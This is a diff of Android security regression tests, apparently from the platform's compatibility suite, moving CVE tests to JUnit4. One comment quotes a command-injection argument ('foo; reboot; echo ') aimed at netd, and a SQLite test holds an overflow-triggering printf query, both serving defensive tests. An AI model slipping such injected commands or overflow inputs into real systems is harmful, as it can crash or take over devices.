@@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 32095626 @AsbSecurityTest(cveBugId = 32095626) + @Test public void testEqualizer_setParamBandLevel() throws Exception { if (!hasEqualizer()) { return; @@ -171,6 +187,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 32585400 @AsbSecurityTest(cveBugId = 32585400) + @Test public void testEqualizer_setParamBandLevel_long() throws Exception { if (!hasEqualizer()) { return; @@ -187,6 +204,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 32705438 @AsbSecurityTest(cveBugId = 32705438) + @Test public void testEqualizer_getParamFreqRangeCommand_short() throws Exception { if (!hasEqualizer()) { return; @@ -197,6 +215,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 32703959 @AsbSecurityTest(cveBugId = 32703959) + @Test public void testEqualizer_getParamFreqRangeCommand_long() throws Exception { if (!hasEqualizer()) { return; @@ -207,6 +226,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 37563371 (short media) @AsbSecurityTest(cveBugId = 37563371) + @Test public void testEqualizer_setParamProperties_short() throws Exception { if (!hasEqualizer()) { return; @@ -217,6 +237,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //testing security bug: 37563371 (long media) @AsbSecurityTest(cveBugId = 37563371) + @Test public void testEqualizer_setParamProperties_long() throws Exception { if (!hasEqualizer()) { return; @@ -227,6 +248,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 63662938 @AsbSecurityTest(cveBugId = 63662938) + @Test public void testDownmix_setParameter() throws Exception { verifyZeroPVSizeRejectedForSetParameter( EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE }); @@ -243,6 +265,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 63526567 @AsbSecurityTest(cveBugId = 63526567) + @Test public void testEnvironmentalReverb_setParameter() throws Exception { verifyZeroPVSizeRejectedForSetParameter( AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] { @@ -263,6 +286,7 @@ public class EffectBundleTest extends InstrumentationTestCase { //Testing security bug: 67647856 @AsbSecurityTest(cveBugId = 67647856) + @Test public void testPresetReverb_setParameter() throws Exception { verifyZeroPVSizeRejectedForSetParameter( AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] { diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt index 8fe8054a2d9..0ceee07f446 100644 --- a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt +++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt @@ -16,7 +16,6 @@ package android.security.cts -import android.app.Instrumentation import android.graphics.Rect import android.os.SystemClock import android.platform.test.annotations.AsbSecurityTest @@ -34,8 +33,8 @@ import androidx.test.core.app.ActivityScenario import androidx.test.ext.junit.rules.ActivityScenarioRule import androidx.test.ext.junit.runners.AndroidJUnit4 import androidx.test.filters.MediumTest -import androidx.test.platform.app.InstrumentationRegistry import com.android.compatibility.common.util.PollingCheck +import com.android.sts.common.util.StsExtraBusinessLogicTestCase import org.junit.After import org.junit.Assert.assertEquals import org.junit.Assert.assertNull @@ -115,8 +114,7 @@ private class SurfaceCreatedCallback(created: CountDownLatch) : SurfaceHolder.Ca * test code. The third approach requires adding an embedded window, and the code for that test was * forked to avoid excessive branching. */ -class FlagSlipperyTest { - private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation() +class FlagSlipperyTest : StsExtraBusinessLogicTestCase { private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity> private lateinit var windowManager: WindowManager @@ -132,10 +130,12 @@ class FlagSlipperyTest { val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>( SlipperyEnterBottomActivity::class.java) + constructor() : super() + @Before fun setup() { scenario = rule.getScenario() - windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>( + windowManager = getInstrumentation().getTargetContext().getSystemService<WindowManager>( WindowManager::class.java) setDimensionsToQuarterScreen() @@ -156,7 +156,7 @@ class FlagSlipperyTest { // ========================== Regular window tests ============================================= private fun addWindow(slipperyWhenAdded: Boolean): View { - val view = View(instrumentation.targetContext) + val view = View(getInstrumentation().targetContext) scenario.onActivity { view.setOnTouchListener(OnTouchListener(view)) view.setBackgroundColor(android.graphics.Color.RED) @@ -220,7 +220,7 @@ class FlagSlipperyTest { private lateinit var mVr: SurfaceControlViewHost private fun addEmbeddedHostWindow(): SurfaceView { - val surfaceView = SurfaceView(instrumentation.targetContext) + val surfaceView = SurfaceView(getInstrumentation().targetContext) val surfaceCreated = CountDownLatch(1) scenario.onActivity { surfaceView.setZOrderOnTop(true) @@ -247,7 +247,7 @@ class FlagSlipperyTest { embeddedViewDrawn.countDown() } layoutCompleted.set(false) - val embeddedView = View(instrumentation.targetContext) + val embeddedView = View(getInstrumentation().targetContext) scenario.onActivity { embeddedView.setOnTouchListener(OnTouchListener(surfaceView)) embeddedView.setBackgroundColor(android.graphics.Color.RED) @@ -340,7 +340,7 @@ class FlagSlipperyTest { PollingCheck.waitFor { layoutCompleted.get() } - instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/) + getInstrumentation().uiAutomation.syncInputTransactions(true /*waitAnimations*/) } private fun setDimensionsToQuarterScreen() { @@ -360,7 +360,7 @@ class FlagSlipperyTest { } val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/) event.source = InputDevice.SOURCE_TOUCHSCREEN - instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/) + getInstrumentation().uiAutomation.injectInputEvent(event, true /*sync*/) } companion object { diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java index 60b329f794c..91e39e8a5fe 100644 --- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java +++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java @@ -15,6 +15,7 @@ */ package android.security.cts; +import android.app.Instrumentation; import android.content.ComponentName; import android.content.Context; import android.content.Intent; @@ -25,14 +26,21 @@ import android.os.RemoteException; import android.platform.test.annotations.AsbSecurityTest; import android.security.cts.IIsolatedService; import android.security.cts.IsolatedService; -import android.test.AndroidTestCase; import android.util.Log; +import androidx.test.InstrumentationRegistry; import com.android.internal.util.ArrayUtils; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; import junit.framework.Assert; +import org.junit.Before; +import org.junit.After; -public class IsolatedProcessTest extends AndroidTestCase { +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class IsolatedProcessTest { static final String TAG = IsolatedProcessTest.class.getSimpleName(); private static final long BIND_SERVICE_TIMEOUT = 5000; @@ -65,15 +73,20 @@ public class IsolatedProcessTest extends AndroidTestCase { } }; - @Override + private static Instrumentation getInstrumentation() { + return InstrumentationRegistry.getInstrumentation(); + } + + @Before public void setUp() throws InterruptedException { mLatch = new CountDownLatch(1); - Intent serviceIntent = new Intent(mContext, IsolatedService.class); - mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE); + Intent serviceIntent = new Intent(getInstrumentation().getContext(), IsolatedService.class); + getInstrumentation().getContext().bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE); Assert.assertTrue("Timed out while waiting to bind to isolated service", mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS)); } + @Test @AsbSecurityTest(cveBugId = 30202228) public void testGetCachedServicesFromIsolatedService() throws RemoteException { String[] cachedServices = mService.getCachedSystemServices(); @@ -83,6 +96,7 @@ public class IsolatedProcessTest extends AndroidTestCase { } } + @Test @AsbSecurityTest(cveBugId = 30202228) public void testGetServiceFromIsolatedService() throws RemoteException { for (String serviceName : RESTRICTED_SERVICES_TO_TEST) { @@ -92,14 +106,15 @@ public class IsolatedProcessTest extends AndroidTestCase { } } + @Test public void testGetProcessIsIsolated() throws RemoteException { Assert.assertFalse(Process.isIsolated()); Assert.assertTrue(mService.getProcessIsIsolated()); } - @Override + @After public void tearDown() { - mContext.unbindService(mServiceConnection); + getInstrumentation().getContext().unbindService(mServiceConnection); } } diff --git a/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java b/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java index ecf8accc933..65eb132a359 100644 --- a/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java +++ b/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java @@ -22,24 +22,31 @@ import android.content.res.AssetFileDescriptor; import android.content.res.Resources; import android.media.MediaMetadataRetriever; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.IOException; -public class MediaMetadataRetrieverTest extends AndroidTestCase { +import org.junit.Before; +import org.junit.After; +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class MediaMetadataRetrieverTest extends StsExtraBusinessLogicTestCase { protected Resources mResources; protected MediaMetadataRetriever mRetriever; - @Override - protected void setUp() throws Exception { - super.setUp(); + @Before + public void setUp() throws Exception { mResources = getContext().getResources(); mRetriever = new MediaMetadataRetriever(); } - @Override - protected void tearDown() throws Exception { - super.tearDown(); + @After + public void tearDown() throws Exception { mRetriever.release(); } @@ -53,6 +60,7 @@ public class MediaMetadataRetrieverTest extends AndroidTestCase { } } + @Test @AsbSecurityTest(cveBugId = 24623447) public void testID3v2EmbeddedPicture() { setDataSourceFd(R.raw.id3v2_3_extended_header_overflow_padding); diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java index b4275169539..4b8b178ab71 100644 --- a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java +++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java @@ -18,16 +18,24 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; import android.media.MediaRecorder; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.util.Log; import java.io.File; -public class MediaRecorderInfoLeakTest extends AndroidTestCase { +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class MediaRecorderInfoLeakTest extends StsExtraBusinessLogicTestCase { /** * b/27855172 */ + @Test @AsbSecurityTest(cveBugId = 27855172) public void test_cve_2016_2499() throws Exception { MediaRecorder mediaRecorder = null; diff --git a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java index 2d2e08453ca..83ce8ff7af4 100644 --- a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java +++ b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java @@ -24,7 +24,7 @@ import android.os.ConditionVariable; import android.os.Environment; import android.os.ParcelFileDescriptor; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.util.Log; import com.android.compatibility.common.util.MediaUtils; @@ -38,7 +38,16 @@ import java.io.RandomAccessFile; import android.security.cts.R; -public class MediaServerCrashTest extends AndroidTestCase { +import org.junit.Before; +import org.junit.After; +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class MediaServerCrashTest extends StsExtraBusinessLogicTestCase { private static final String TAG = "MediaServerCrashTest"; private static final String MIMETYPE_DRM_MESSAGE = "application/vnd.oma.drm.message"; @@ -49,9 +58,8 @@ public class MediaServerCrashTest extends AndroidTestCase { private final ConditionVariable mOnPrepareCalled = new ConditionVariable(); private final ConditionVariable mOnCompletionCalled = new ConditionVariable(); - @Override - protected void setUp() throws Exception { - super.setUp(); + @Before + public void setUp() throws Exception { mFlFilePath = new File(getContext().getFilesDir(), "temp.fl").getAbsolutePath(); mOnPrepareCalled.close(); @@ -83,12 +91,12 @@ public class MediaServerCrashTest extends AndroidTestCase { }); } - @Override - protected void tearDown() throws Exception { - super.tearDown(); + @After + public void tearDown() throws Exception { new File(mFlFilePath).delete(); } + @Test @AsbSecurityTest(cveBugId = 25070434) public void testInvalidMidiNullPointerAccess() throws Exception { testIfMediaServerDied(R.raw.midi_crash); @@ -115,16 +123,17 @@ public class MediaServerCrashTest extends AndroidTestCase { } } + @Test @AsbSecurityTest(cveBugId = 25070434) public void testDrmManagerClientReset() throws Exception { checkIfMediaServerDiedForDrm(R.raw.drm_uaf); } private void checkIfMediaServerDiedForDrm(int res) throws Exception { - AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(res); + AssetFileDescriptor afd = getInstrumentation().getContext().getResources().openRawResourceFd(res); FileInputStream dmStream = afd.createInputStream(); RandomAccessFile flFile = new RandomAccessFile(mFlFilePath, "rw"); - if (!MediaUtils.convertDmToFl(mContext, dmStream, flFile)) { + if (!MediaUtils.convertDmToFl(getInstrumentation().getContext(), dmStream, flFile)) { Log.w(TAG, "Can not convert dm to fl, skip checkIfMediaServerDiedForDrm"); mMediaPlayer.release(); return; diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java index 2ce16101b02..3ab3bb2cbf8 100644 --- a/tests/tests/security/src/android/security/cts/Movie33897722.java +++ b/tests/tests/security/src/android/security/cts/Movie33897722.java @@ -16,6 +16,8 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.graphics.Bitmap; import android.graphics.Canvas; import android.graphics.Color; @@ -24,13 +26,20 @@ import android.graphics.Paint; import android.graphics.PorterDuff; import android.graphics.PorterDuffXfermode; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.InputStream; +import org.junit.runner.RunWith; +import org.junit.Test; import android.security.cts.R; -public class Movie33897722 extends AndroidTestCase { +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class Movie33897722 extends StsExtraBusinessLogicTestCase { /** * Verifies that decoding a particular GIF file does not read out out of bounds. * @@ -39,6 +48,7 @@ public class Movie33897722 extends AndroidTestCase { * color map, which would be reading memory that we do not control, and may be uninitialized. */ @AsbSecurityTest(cveBugId = 33897722) + @Test public void test_android_bug_33897722() { // The image has a 10 x 10 frame on top of a transparent background. Only test the // 10 x 10 frame, since the original bug would never have used uninitialized memory @@ -47,6 +57,7 @@ public class Movie33897722 extends AndroidTestCase { } @AsbSecurityTest(cveBugId = 37662286) + @Test public void test_android_bug_37662286() { // The image has a background color that is out of range. Arbitrarily test // the upper left corner. (Most of the image is transparent.) @@ -62,7 +73,7 @@ public class Movie33897722 extends AndroidTestCase { int drawWidth, int drawHeight) { assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight); - InputStream exploitImage = mContext.getResources().openRawResource(resId); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId); Movie movie = Movie.decodeStream(exploitImage); assertNotNull(movie); assertEquals(movie.width(), screenWidth); diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java index 4f5754cfbb7..135d4935a55 100644 --- a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java +++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java @@ -16,7 +16,6 @@ package android.security.cts; -import android.test.AndroidTestCase; import android.platform.test.annotations.AsbSecurityTest; import androidx.test.InstrumentationRegistry; @@ -49,12 +48,23 @@ import android.os.SystemClock; import android.util.Log; import android.annotation.Nullable; import android.platform.test.annotations.AppModeFull; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import org.junit.After; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; import static java.lang.Thread.sleep; import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; @AppModeFull -public class NanoAppBundleTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class NanoAppBundleTest extends StsExtraBusinessLogicTestCase { + private Context mContext; private static final String TAG = "NanoAppBundleTest"; private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts"; @@ -72,27 +82,27 @@ public class NanoAppBundleTest extends AndroidTestCase { } }; - @Override - protected void setUp() throws Exception { - super.setUp(); + @Before + public void setUp() throws Exception { + mContext = getInstrumentation().getContext(); Intent serviceIntent = new Intent(mContext, AuthenticatorService.class); mContext.startService(serviceIntent); mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE); } - @Override - protected void tearDown() throws Exception { + @After + public void tearDown() throws Exception { if (mContext != null) { Intent serviceIntent = new Intent(mContext, AuthenticatorService.class); mContext.stopService(serviceIntent); } - super.tearDown(); } /** * b/113527124 */ @AsbSecurityTest(cveBugId = 77599679) + @Test public void testPoc_cve_2018_9471() throws Exception { try { diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java index c5a9bac2504..53c05c0e53e 100644 --- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java +++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java @@ -18,15 +18,22 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import junit.framework.TestCase; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; -public class NativeCodeTest extends TestCase { +import static org.junit.Assert.*; + +@RunWith(AndroidJUnit4.class) +public class NativeCodeTest extends StsExtraBusinessLogicTestCase { static { System.loadLibrary("ctssecurity_jni"); } @AsbSecurityTest(cveBugId = 22300191) + @Test public void testSysVipc() throws Exception { assertTrue("Android does not support Sys V IPC, it must " + "be removed from the kernel. In the kernel config: " diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java index 14623fd4085..463d443dc82 100644 --- a/tests/tests/security/src/android/security/cts/NetdTest.java +++ b/tests/tests/security/src/android/security/cts/NetdTest.java @@ -20,13 +20,17 @@ import android.os.Binder; import android.os.IBinder; import android.platform.test.annotations.AsbSecurityTest; -import junit.framework.TestCase; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; import java.lang.Class; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -public class NetdTest extends TestCase { +@RunWith(AndroidJUnit4.class) +public class NetdTest extends StsExtraBusinessLogicTestCase { /** * Detect if netd has unsanitized system call in Throttle API. @@ -34,6 +38,7 @@ public class NetdTest extends TestCase { * serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1); */ @AsbSecurityTest(cveBugId = 5758556) + @Test public void testThrottleSanitization() { try { diff --git a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java index f810817c650..f68c097686d 100644 --- a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java +++ b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java @@ -16,20 +16,27 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.graphics.SurfaceTexture; import android.hardware.camera2.params.OutputConfiguration; import android.os.Parcel; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; import android.util.Size; import android.view.Surface; import android.view.TextureView; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; /** * Verify that OutputConfiguration's fields propagate through parcel properly. */ -public class OutputConfigurationTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class OutputConfigurationTest extends StsExtraBusinessLogicTestCase { @AsbSecurityTest(cveBugId = 69683251) + @Test public void testSharedSurfaceOutputConfigurationBasic() throws Exception { SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5); Surface surface = new Surface(outputTexture); diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java index 5b4e5301be7..d2d70d85e59 100644 --- a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java +++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java @@ -16,7 +16,8 @@ package android.security.cts; -import android.test.AndroidTestCase; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; import android.security.cts.R; @@ -26,13 +27,21 @@ import android.os.BaseBundle; import android.os.Bundle; import android.os.Parcel; import android.util.Log; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.File; import java.lang.reflect.Field; -public class ParcelableExceptionTest extends AndroidTestCase { +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class ParcelableExceptionTest extends StsExtraBusinessLogicTestCase { @AsbSecurityTest(cveBugId = 65281159) + @Test public void test_CVE_2017_0871() throws Exception { String filePath = "/data/system/" + System.currentTimeMillis(); File file = new File(filePath); diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java index 2bf7a85e063..4667859957e 100644 --- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java +++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java @@ -17,10 +17,18 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.lang.reflect.Method; -public class PutOverflowTest extends AndroidTestCase { +import static org.junit.Assert.*; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class PutOverflowTest extends StsExtraBusinessLogicTestCase { + @Test @AsbSecurityTest(cveBugId = 22802399) public void testCrash() throws Exception { try { diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java index 8405acc0265..293200e5541 100644 --- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java +++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java @@ -19,11 +19,17 @@ package android.security.cts; import android.app.ActivityManager; import android.content.Context; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; + +import static org.junit.Assert.*; import java.util.List; -public class RunningAppProcessInfoTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase { /* * This test verifies severity vulnerability: apps can bypass the L restrictions in * getRunningTasks()is fixed. The test tries to get current RunningAppProcessInfo and passes @@ -31,9 +37,10 @@ public class RunningAppProcessInfoTest extends AndroidTestCase { */ @AsbSecurityTest(cveBugId = 20034603) + @Test public void testRunningAppProcessInfo() { ActivityManager amActivityManager = - (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE); + (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE); List<ActivityManager.RunningAppProcessInfo> appList = amActivityManager.getRunningAppProcesses(); // The test will pass if it is able to get only its process info diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java index a3a14d40a41..84d36fa0a7a 100644 --- a/tests/tests/security/src/android/security/cts/SQLiteTest.java +++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java @@ -28,14 +28,21 @@ import android.database.sqlite.SQLiteDatabase; import android.net.Uri; import android.platform.test.annotations.AsbSecurityTest; import android.provider.VoicemailContract; -import android.test.AndroidTestCase; import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; + +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import java.io.File; import java.io.FileInputStream; -public class SQLiteTest extends AndroidTestCase { +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(AndroidJUnit4.class) +public class SQLiteTest extends StsExtraBusinessLogicTestCase { private static final String DATABASE_FILE_NAME = "database_test.db"; private ContentResolver mResolver; @@ -44,9 +51,8 @@ public class SQLiteTest extends AndroidTestCase { private SQLiteDatabase mDatabase; - @Override - protected void setUp() throws Exception { - super.setUp(); + @Before + public void setUp() throws Exception { mResolver = getContext().getContentResolver(); mContext = InstrumentationRegistry.getTargetContext(); mPackageName = mContext.getPackageName(); @@ -62,6 +68,7 @@ public class SQLiteTest extends AndroidTestCase { * b/139186193 */ @AsbSecurityTest(cveBugId = 139186193) + @Test public void test_android_cve_2019_2195() { Uri uri = VoicemailContract.Voicemails.CONTENT_URI; uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build(); @@ -99,6 +106,7 @@ public class SQLiteTest extends AndroidTestCase { * b/153352319 */ @AsbSecurityTest(cveBugId = 153352319) + @Test public void test_android_float_to_text_conversion_overflow() { String create_cmd = "select (printf('%.2147483647G',0.01));"; try (Cursor c = mDatabase.rawQuery(create_cmd, null)) { diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java index 7e6fb7c87e3..2765de4ac52 100644 --- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java +++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java @@ -15,33 +15,35 @@ */ package android.security.cts; +import static org.junit.Assert.*; + import android.content.ComponentName; import android.content.Intent; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; import android.content.pm.PackageManager; -import android.test.AndroidTestCase; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; + +import androidx.test.runner.AndroidJUnit4; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; -public class STKFrameworkTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class STKFrameworkTest extends StsExtraBusinessLogicTestCase { private boolean mHasTelephony; - @Override - protected void setUp() throws Exception { - super.setUp(); + @Before + public void setUp() throws Exception { mHasTelephony = getContext().getPackageManager().hasSystemFeature( PackageManager.FEATURE_TELEPHONY); } - @Override - protected void tearDown() throws Exception { - super.tearDown(); - } - /* * Verifies commands Intercepting which has been sent from SIM card to Telephony using * zero-permission malicious application */ @AsbSecurityTest(cveBugId = 21697171) + @Test public void testInterceptedSIMCommandsToTelephony() { if (!mHasTelephony) { return; @@ -54,7 +56,7 @@ public class STKFrameworkTest extends AndroidTestCase { ComponentName.unflattenFromString("com.android.stk/com.android.stk.StkCmdReceiver"); intent.setComponent(cn); try { - mContext.sendBroadcast(intent); + getInstrumentation().getContext().sendBroadcast(intent); fail("Able to send broadcast which can be received by any app which has registered " + "broadcast for action 'com.android.internal.stk.command' since it is not " + "protected with any permission. Device is vulnerable to CVE-2015-3843."); diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java index 4a9802fc307..de6a9ac2707 100644 --- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java +++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java @@ -19,26 +19,33 @@ package android.security.cts; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.platform.test.annotations.AsbSecurityTest; -import android.test.AndroidTestCase; +import androidx.test.runner.AndroidJUnit4; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; +import org.junit.runner.RunWith; +import org.junit.Test; import java.io.InputStream; import android.security.cts.R; import android.platform.test.annotations.AsbSecurityTest; -public class SkiaICORecursiveDecodingTest extends AndroidTestCase { +@RunWith(AndroidJUnit4.class) +public class SkiaICORecursiveDecodingTest extends StsExtraBusinessLogicTestCase { @AsbSecurityTest(cveBugId = 73782357) + @Test public void testAndroid_cve_2017_13318() { doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318); } @AsbSecurityTest(cveBugId = 17262540) + @Test public void test_android_bug_17262540() { doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540); } @AsbSecurityTest(cveBugId = 17265466) + @Test public void test_android_bug_17265466() { doSkiaIcoRecursiveDecodingTest(R.raw.bug_17265466); } @@ -47,7 +54,7 @@ public class SkiaICORecursiveDecodingTest extends AndroidTestCase { * Verifies that the device prevents recursive decoding of malformed ICO files */ public void doSkiaIcoRecursiveDecodingTest(int resId) { - InputStream exploitImage = mContext.getResources().openRawResource(resId); + InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId); /** * The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices * while decoding the exploit image which will lead to process crash diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java index ddecbc824c2..b6c2737587b 100644 --- a/tests/tests/security/src/android/security/cts/StagefrightTest.java +++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java @@ -22,6 +22,7 @@ */ package android.security.cts; +import com.android.sts.common.util.StsExtraBusinessLogicTestCase; import android.app.Instrumentation; import android.content.Context; import android.content.res.AssetFileDescriptor; @@ -100,20 +101,14 @@ import static org.junit.Assert.*; */ @AppModeFull 